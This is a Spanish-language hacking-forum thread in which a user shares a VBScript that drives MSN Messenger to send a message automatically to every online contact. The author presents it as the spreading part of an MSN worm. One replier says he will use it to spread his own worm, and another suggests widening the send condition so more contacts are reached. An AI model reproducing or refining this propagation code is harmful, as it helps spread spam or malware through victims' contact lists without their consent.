[VBS] Enviar mensajes a MSN messenger

[Novlucker]

Buenas a todos... una vez más, estaba algo aburrido, así que he creado el siguiente script... en algún momento se me había ocurrido hacer un gusano que se propagara por msn, pero luego deje eso atrás y ya no me interesó...

Al ver el mensaje de RockoX me recordé esa idea que había tenido y lo que hubise sido su implementación en *.vbs (hay codes parecidos para vb)

Código (vb) [Seleccionar] Expandir

set taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
set objshell = createobject("wscript.shell")

for each process in taskmgr
if process.name = "msnmsgr.exe" then
'Revisamos que el proceso del msn este corriendo
Set objMsn = CreateObject("Messenger.UIAutomation")

for each contacto in ObjMsn.mycontacts
'Por cada contacto en nuestra lista...

if contacto.status = 2 and objMsn.mystatus = 2 then
'Si nuestro estado es online, y el de nuestro contacto tambien...

Set iM = objMsn.InstantMessage(contacto.signinname)
objshell.appactivate contacto.friendlyname
objshell.SendKeys "Visita el hacker.net :D{ENTER}"
'Abrimos una ventana de conversacion y enviamos un mensaje

end if
next

end if

next

Si alguien quiere probarlo, recomiendo quitar el {ENTER}, ya que sino enviarán el mensaje a todos sus contactos online   

Para que haga algo, deben de tener el msn abierto, y estar como conectados, así como también deben de estarlo sus contactos, y luego si, ejecutar este script

Bueno, eso fue todo, un pequeño aporte que quizás sirva como ejemplo (de seguro es detectado por varios AV)

Saludos   

[Darioxhcx]

bastante bueno
y esta bien explicado me gusta
saludos

[leogtz]

Jeje, puedo ver el poder del VBS 

Muy bueno, no lo probe, pero seguro que funciona.

Saludos

[el novato de la red...]

Estoy parendiendo y tratando de crear un gusano en VBS

Lo utilizare para propagar mi gusano jejeje lo probare.
Humildemente agradecido.

[JJWolf]

Se ve buenisimo gracias.

Creo que tengo un problema lo quise probar y me tira el error activex component can't create object: 'Messenger.UIAutomation' porque sera eso?

[carlitos.dll]

mejor usar pidgin

[Novlucker]

Se ve buenisimo gracias.
Creo que tengo un problema lo quise probar y me tira el error activex component can't create object: 'Messenger.UIAutomation' porque sera eso?

Es que vbscript interactúa con determinados objetos pertenecientes a ciertos programas... tienes instalado el messenger?

A mi no me da problemas con las versiones 7 y 8 del mismo, para que te hagas una idea, este método de interactuar con el msn lo conozco desde enero del 2007, y me sigue funcionando con la versión más nueva del messenger 

He modificado además el script, ya que vi que en ocasiones, si eran muchas ventanas las que se abrian, se perdía el foco y el mensaje no se enviaba correctamente, por lo que agregue

objshell.appactivate contacto.friendlyname

Que se encarga de obtener la ventana, según el nombre amistoso de las personas... no la dirección de mail, sino los simbolos que todo el mundo pone  en su lugar , luego de esto si, se envia el mensaje   

Saludos

[Crazy.sx]

Ahhh, está bueno. El codigo se entiende, pero me gustaría aprender mejor acerca de vbs.

Saludos che

[Zaraki_lkenpachi]

Hola me inicio en esto de la programacion con VBS y la verdad entiendo tu codigo
solo que hay algunas partes que no ps podrias darme un enlace donde encontrar documentacion de " Messenger.UIAutomation " y la primera linea como que haces un Select * From WinProcess creo ? lo que entiendo es que recibes todos los procesos del sistema pero esa linea podrias darme unos enlace para entender mejor esta parte [ winmgmts:{impersonationLevel=impersonate}") ]

Muchas gracias

[wizard_0]

Solo  una  aclaracion

Código [Seleccionar] Expandir

if contacto.status = 2 and objMsn.mystatus = 2 then

si digamos  estamos en  ausente, o sali a comer, vuelvo enseguida.., telefono.
no mandaria el mensaje..

weno para  q  solo  envie a  todos  los  conectados  deberiamos  poner  si  ObjMsn.mystatus  no  es  igual a  1 q creo q es  el  desconectado no  recuerdo..

weno en  fin  esta  weno  el code..

salu2-->